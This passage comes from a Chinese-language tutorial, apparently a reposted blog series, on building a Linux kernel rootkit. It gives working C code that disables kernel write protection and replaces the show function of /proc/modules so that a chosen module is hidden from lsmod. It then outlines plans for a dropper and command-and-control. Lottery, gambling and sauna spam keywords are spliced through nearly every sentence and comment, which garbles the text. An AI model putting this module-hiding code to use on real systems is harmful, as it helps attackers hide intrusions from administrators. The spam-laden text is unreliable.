            fm_alert("Failed to open %s with error %ld. ",        
                     path, PTR_ERR(filp));                         
            old = NULL;                                            
        } else {                                                   
            fm_alert("Succeeded in opening: %s ", path);          
            seq = (struct seq_file *)filp->private_data;           
            seq_op = (struct seq_operations *)seq->op;             
            old = seq_op->opname;                                  
                                                                   
            fm_alert("Changing seq_op->"#opname" from %p to %p. ",
                     old, new);                                    
            disable_write_protection();                            
            seq_op->opname = new;                                  
            enable_write_protection();                             
        }                                                          
    } while (0)
這個宏與之前寫的宏非常類似||菲丝丽妮靓丽祛斑胶囊,唯一的不同-|金正大oa,並且讀者可能不能理解的是下麵這一行--芬兰语词典。
seq = (struct seq_file *)filp->private_data;
我想-|_亿博娱乐平台登录,讀者的問題應該是||騒麦歌词: struct file 的 private_data成員為什麼會是我們要找的 struct seq_file 指針|-|iwork8?
請看內核源碼|_|比亚斯。下麵的片段是 /proc/modules 的初始部分--易彩票投注是传销吗?,我們想要做的是鉤掉 m_show __-东莞桑拿一条龙服务。 縱觀源碼_-_qq下载2011正式版官方下载,引用了 modules_op 的隻有seq_open -_|青白江攀成钢。
static const struct seq_operations modules_op = {
     .start  = m_start,

 

     .next   = m_next,
     .stop   = m_stop,
     .show   = m_show
};
static int modules_open(struct inode *inode, struct file *file)
{
     return seq_open(file, &modules_op);
}
那我們跟進 seq_open 看看__-188彩票在线网址, seq_open 的實現位於 fs/seq_file.c ||idc前线。
int seq_open(struct file *file, const struct seq_operations *op)
{
     struct seq_file *p;
     WARN_ON(file->private_data);
     // 分配一個 ``struct seq_file`` 的 內存-_-伏虎山区惨祸。
     p = kzalloc(sizeof(*p), GFP_KERNEL);
     if (!p)
         return -ENOMEM;
     // 讀者看到這一行應該就能理解了_-_芙蓉中路二手房。
     // 對 ``/proc/modules`` 而言|-不灭之王波罗丁称号怎么做,
     // ``struct file`` 的 ``private_data`` 指向的就是
     // 他的 ``struct seq_file``|细头银击节碎。
     file->private_data = p;
     mutex_init(&p->lock);
     // 把 ``struct seq_file`` 的 ``op`` 成員賦值成 ``op``-|18151期七星彩开奖结果,
     // 這個 ``op`` 裏就包含了我們要鉤的 ``m_show`` _||众彩彩票管家。
     p->op = op;
     // 這兒省略若幹代碼|||1北京pk10彩票控。
     return 0;
}
這時候|_|优彩网靠谱吗,我們可以看看 /proc/modules 的假 show 函數了|_12315投诉彩票网站。過濾邏輯是很容易理解的_常熟杀人案; 讀者應該重點注意一下 last_size 的計算__-花境设计说明,這也就是筆者在講端口隱藏時說到我們可以不用 TMPSZ _|黄牛课件网,我們可以自己計算這一條記錄的大小--|众益彩票中国彩。自己計算的靈活性就在於--我们结婚了 101204,就算每個記錄的大小不是同樣長的--|长明灯打一字,我們的代碼也能正常工作__何小萌萌萌微博。
注 |_|网点是什么: /proc/modules 裏的每條記錄長度確實不是一樣-|尉氏户外,有長有短_106cc彩票客服。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    size_t last_count, last_size;
    // 保存一份 ``count`` 值_-1分快3是不是正规的,
    // 下麵的 ``real_seq_show`` 會往緩衝區裏填充一條記錄-__长城哈弗h6车友会,
    // 添加完成後_|今日华商报新闻,seq->count 也會增加||空间克隆。
    last_count = seq->count;
    ret =  real_seq_show(seq, v);
    // 填充記錄之後的 count 減去填充之前的 count
    // 就可以得到填充的這條記錄的大小了__|6个方面对照检查材料。
    last_size = seq->count - last_count;
    if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                last_size)) {
        // 是需要隱藏的模塊|_-中兴彩票网站,
        // 把緩衝區已經使用的量減去這條記錄的長度|-11086移动彩票真实吗,
        // 也就相當於把這條記錄去掉了||-187是什么号段。
        fm_alert("Hiding module: %s ", SECRET_MODULE);
        seq->count -= last_size;
    }
    return ret;
}
實驗
我們選擇隱藏模塊自己( kohidko )來做演示-_医学基础知识。看下圖|||阿ben 张本渝。 加載 kohidko之後_-广州缓交, lsmod 沒有顯示出我們的模塊-||0165下去, /sys/module下麵也列舉不到我們的模塊-|_腾格尔歌曲下载; 並且-|我的家乡作文600字,右側 dmesg 的日誌也表明我們的假filldir 與假 show 函數起了過濾作用_-_陈志平博客。

第二部分__揭刘汉留下多少遗产:未來展望
至此--谢园的学生,我們討論了大部分作為一個 Rootkit 必備的基本功能-|大肚吧分娩小说;但是-|地蛇八部,我們的代碼依舊是零散的一個一個的實驗||沈冰近况,而不是一個有機的整體_|长信通。當然-_|河间吧,筆者的代碼盡可能的做好了布局組織與模塊化|_石钟乳,這能給我們以後組裝的時候節省一些力氣___亿彩彩票平台。
在接下來的文章裏||_钱学森的女儿,一方麵||赵学成,我們會把這些一個一個零散的實驗代碼組裝成一個能進行實驗性部署的Rootkit_|易彩快三。要實現這個目標-|167计划网站, 除了組裝-鹿氏断食法,我們還需要釋放程序( Dropper )-_-辣椒泡菜,還需要增加遠程控製( Command & Control )能力-_优选彩票。
再者-丝图腾,我們可能會著手討論 Rootkit 的檢測與反檢測-||果酱汉堡店变态版。 還有就是討論當前 LinuxRootkit 的實際發展狀態__-01彩票APp是不是正规的, 比如分析已知用於實際攻擊的 Rootkit所采用的技術|_-元寸灸, 分析我們的技術水平差異-_舒舒微商,並從中學習如何實現更先進的功能__诺基亚6120c手机软件下载。
最後-|_致胜网络科技有限公司,我們還可能改善兼容性與拓展性-|金坛旅游团。我們現在的代碼隻在比較新的內核版本(比如 4.5.x / 4.6.x)上測試過|__广东打黑。而且|--020彩票排名网站,我們壓根就沒有考慮已知的兼容性問題__金宝街电影院。 因而|--珠江钢琴2013价格表,要想在 3.x---掌上大赢家时时彩,甚至 2.x上跑___紫雨三国, 我們還需要花時間兼容不同版本的內核苏州大润发官方网站。然後__11086移动彩票下载,我們還希望往其他架構上發展(比如 ARM )-|-震波女quake。
下車_22彩票平台跑了,走好-|江苏省盐城技师学院。
 

 

 

Tag標簽|--昆明桑拿爽记: 實例   功能  
  • 專題推薦

  • 李華明iOS-Cocos2d遊戲開發專題
  • 本教程為 李華明 編著的iOS-Cocos2d遊戲開發係列教程_|淘宝网上开店的步骤:教程涵蓋關於i...... 詳細
  • Windows7係統入門 優化 技巧技術專題
  • Windows7係統專題 無論是升級操作係統__进口摩托车市场、資料備份_-永福彩票、加強資料的安全及管...... 詳細
About IT165 - 廣告服務 - 隱私聲明 - 版權申明 - 免責條款 - 網站地圖 - 網友投稿 - 聯係方式
本站內容來自於互聯網,僅供用於網絡技術學習,學習中請遵循相關法律法規
全民彩票富贵彩票UC彩票众赢彩票98彩票迪士尼彩票

免责声明: 本站资料及图片来源互联网文章,本网不承担任何由内容信息所引起的争议和法律责任。所有作品版权归原创作者所有,与本站立场无关,如用户分享不慎侵犯了您的权益,请联系我们告知,我们将做删除处理!